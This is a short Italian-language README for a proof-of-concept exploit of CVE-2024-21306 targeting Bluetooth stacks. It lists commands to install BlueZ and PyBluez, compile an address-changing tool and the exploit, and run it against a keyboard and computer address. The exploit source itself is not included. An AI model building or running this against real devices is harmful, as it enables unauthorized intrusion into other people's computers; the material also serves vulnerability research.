
Exploit proof-of-concept per CVE-2024-21306 che mira agli stack Bluetooth. Dimostra lo sfruttamento della vulnerabilità tramite manipolazione dell'interfaccia Bluetooth usando dipendenze BlueZ e PyBluez.
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev git gcc python3-pip python3-setuptools python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
gcc -o CVE-2024-21306 CVE-2024-21306.c -lbluetooth
./CVE-2024-21306 interface keyboard_address computer_address